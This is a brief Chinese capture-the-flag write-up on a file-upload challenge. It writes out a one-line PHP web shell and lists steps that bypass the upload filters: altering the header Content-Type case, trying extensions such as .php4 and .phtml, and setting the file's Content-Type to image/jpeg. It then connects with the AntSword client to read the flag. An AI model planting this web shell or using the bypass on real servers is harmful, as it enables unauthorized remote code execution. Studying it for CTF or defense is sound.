题目:

先编写一句话木马
<script language=php>eval($_POST['cmd']);</script>
不可以上传 php文件 说明存在过滤一共三个过滤
- 请求头部的 Content-Type
- 文件后缀
- 请求数据的Content-Type
上传的文件可以为任意文件,内容也可以是任意的,内容也可以为空
- 请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data
- 所上传的文件后缀 改为 .php4(依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写))
- 请求数据的Content-Type 内容改为 image/jpeg

使用中国蚁剑连接

找到flag

本文介绍了一种通过修改上传文件的后缀名和Content-Type来绕过服务器对PHP文件上传的限制的方法,并提供了具体实现步骤。
1065

被折叠的 条评论
为什么被折叠?



